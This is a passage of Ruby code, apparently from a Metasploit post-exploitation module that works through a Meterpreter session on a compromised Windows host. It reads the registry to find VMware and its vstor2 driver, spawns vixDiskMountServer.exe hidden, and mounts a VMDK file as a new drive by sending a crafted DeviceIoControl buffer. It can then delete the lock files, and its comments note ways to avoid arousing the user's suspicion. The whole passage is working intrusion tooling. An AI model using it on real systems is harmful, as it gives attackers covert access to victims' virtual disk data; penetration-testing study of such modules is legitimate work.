a = client.railgun.kernel32.GetLogicalDrives()["return"]
drives = []
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
(0..25).each do |i|
test = letters[i,1]
rem = a % (2**(i+1))
if rem > 0
drives << test
a = a - rem
end
end
drives
end
def run
vol = datastore['DRIVE'][0].upcase
vmdk = datastore['VMDK_PATH']
if vol.count("EFGHIJKLMNOPQRSTUVWXYZ") == 0
print_error("Wrong drive letter. Choose another one")
return
end
drives = get_drives
if drives.include? vol
print_error("The following mount points already exists: #{drives}. Choose another one")
return
end
# Using stat instead of file? to check if the file exists due to this https://github.com/rapid7/metasploit-framework/issues/8202
begin
client.fs.file.stat(vmdk)
rescue
print_error("File #{vmdk} not found")
return
end
vmware_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\vmplayer.exe","path")
if vmware_path.nil?
print_error("VMware installation path not found.")
return
end
print_status("VMware path: \"#{vmware_path}\"")
vstor_device = find_vstor2_device
if vstor_device.nil?
return
end
if !open_mountserver(vmware_path) || !mount_vmdk(vstor_device, vmdk, vol, datastore['READ_MODE'])
return
end
# Just few seconds to mount the unit and create the lck file
sleep(5)
if get_drives.include? vol
print_good("The drive #{vol}: seems to be ready")
if datastore['DEL_LCK']
delete_lck(vmdk)
end
else
print_error("The drive couldn't be mounted. Check if a .lck file is blocking the access to the vmdk file")
# Some snapshots could give some problems when are mount in write mode
if !datastore['READ_MODE']
print_status("Try to mount the drive in read only mode")
end
end
end
# Delete the lck file generated after mounting the drive
def delete_lck(vmdk)
lck_dir = vmdk << ".lck"
begin
files = client.fs.dir.entries(lck_dir)
vprint_status("Directory lock: #{lck_dir}")
rescue Rex::Post::Meterpreter::RequestError
print_status("It was not found a lck directory")
return
end
files.shift(2)
files.each do |f|
f_path = lck_dir + "\\#{f}"
next if !file?(f_path)
fd = client.fs.file.open(f_path)
content = fd.read.to_s
fd.close
if content.include? "vixDiskMountServer"
begin
client.fs.file.rm(f_path)
print_status("Lock file #{f} deleted")
rescue ::Exception => e
print_error("Unable to remove file: #{e.message}")
end
end
end
end
# Recover the device drive name created by vstor2-mntapi20-shared.sys
def find_vstor2_device
reg_services = "HKLM\\SYSTEM\\ControlSet001\\Services\\"
devices = registry_enumkeys(reg_services)
vstor2_key = devices.grep(/^vstor2/)
if !vstor2_key.any?
print_error("No vstor2 key found on #{reg_services}")
return
end
device_path = registry_getvaldata(reg_services << vstor2_key[0],"ImagePath")
if device_path.nil?
print_error("No image path found for the vstor2 device")
return
end
device_name = device_path.split('\\')[-1].split('.')[0]
print_status("Device driver name found: \\\\.\\#{device_name}")
device_name.insert(0, "\\\\.\\")
end
# Mount the vmdk file by sending a magic control code via DeviceIoControl
def mount_vmdk(vstore, vmdk_file, vol, read_mode)
# DWORD value representing the drive letter
i = "ABCDEFGHIJKLMNOPQRSTUVWXYZ".index(vol)
drive_dword = [(0x00000001 << i)].pack('V')
vprint_status("DWORD value for drive #{vol}: = #{drive_dword.inspect}")
ret = session.railgun.kernel32.CreateFileW(vstore, "GENERIC_WRITE|GENERIC_READ", "FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING",0, nil)
if ret['GetLastError'] != 0
print_error("Unable to open a handle to the #{vstore} device driver. GetLastError: #{ret['GetLastError']} ")
return false
end
# fd1, fd3 and fd5 are static values used from vixDiskMountApi.dll to build the input buffer
fd1 = "\x24\x01\x00\x00"
fd2 = "\x00\x00\x00\x00"
fd3 = "\xBA\xAB\x00\x00"
fd4 = "\x00\x00\x00\x00"
fd5 = "\x02\x00\x00\x00"
fd6 = "\x00\x00\x00\x00"
path = (vmdk_file).ljust 260, "\x00"
if read_mode
fd7 = "\x01\x00\x00\x00"
else
fd7 = "\x00\x00\x00\x00"
end
# The total length of the buffer should be 292
buffer = fd1 << fd2 << fd3 << fd4 << fd5 << fd6 << drive_dword << path << fd7
error_code = ""
tries = 0
loop do
ioctl = client.railgun.kernel32.DeviceIoControl(ret['return'],0x2A002C,buffer,292,16348,16348,4,nil)
error_code = ioctl['GetLastError']
vprint_status("GetlastError DeviceIoControl = #{error_code}")
tries += 1
break if tries == 3 || (error_code != 31 && error_code != 6)
end
if error_code == 997 || error_code == 0
client.railgun.kernel32.CloseHandle(ret['return'])
return true
else
print_error("The vmdk file could't be mounted")
return false
end
end
# Run the hidden vixDiskMountServer process needed to interact with the driver
def open_mountserver(path)
mount_bin = "vixDiskMountServer.exe"
if !file?(path << mount_bin)
print_error("#{mount_bin} not found in \"#{path}\"")
return false
end
# If the vixDiskMountServer process is created by VMware (i.e. when the mapping utility is used) it will not be
# possible to mount the file. In this case killing vixDiskMountServer manually from Meterpreter and re-running
# the script could be a solution (although this can raise suspicions to the user).
# On the other hand, if vixDiskMountServer has been created by Meterpreter it would not be necessary to kill
# the process to run the script again and mount another drive except if you change the mode (write or read only).
# For this reason, to avoid this case, the process is relaunched automatically.
p = session.sys.process.each_process.find { |i| i["name"] == mount_bin}
if p
if p["ppid"] != session.sys.process.getpid
print_error("An instance of #{mount_bin} is already running by another process")
return false
else
begin
print_status("Killing the #{mount_bin} instance")
session.sys.process.kill(p["pid"])
sleep(1)
rescue ::Rex::Post::Meterpreter::RequestError => error
print_error("The #{mount_bin} instance depending on Meterpeter could not be killed")
return false
end
end
end
begin
proc = session.sys.process.execute(path, nil, {'Hidden' => true})
sleep(1)
print_good("Process #{mount_bin} successfully spawned (Pid: #{proc.pid})")
rescue ::Rex::Post::Meterpreter::RequestError => error
print_error("Binary #{mount_bin} could could not be spawned : #{error.to_s}")
return false
end
true
end
end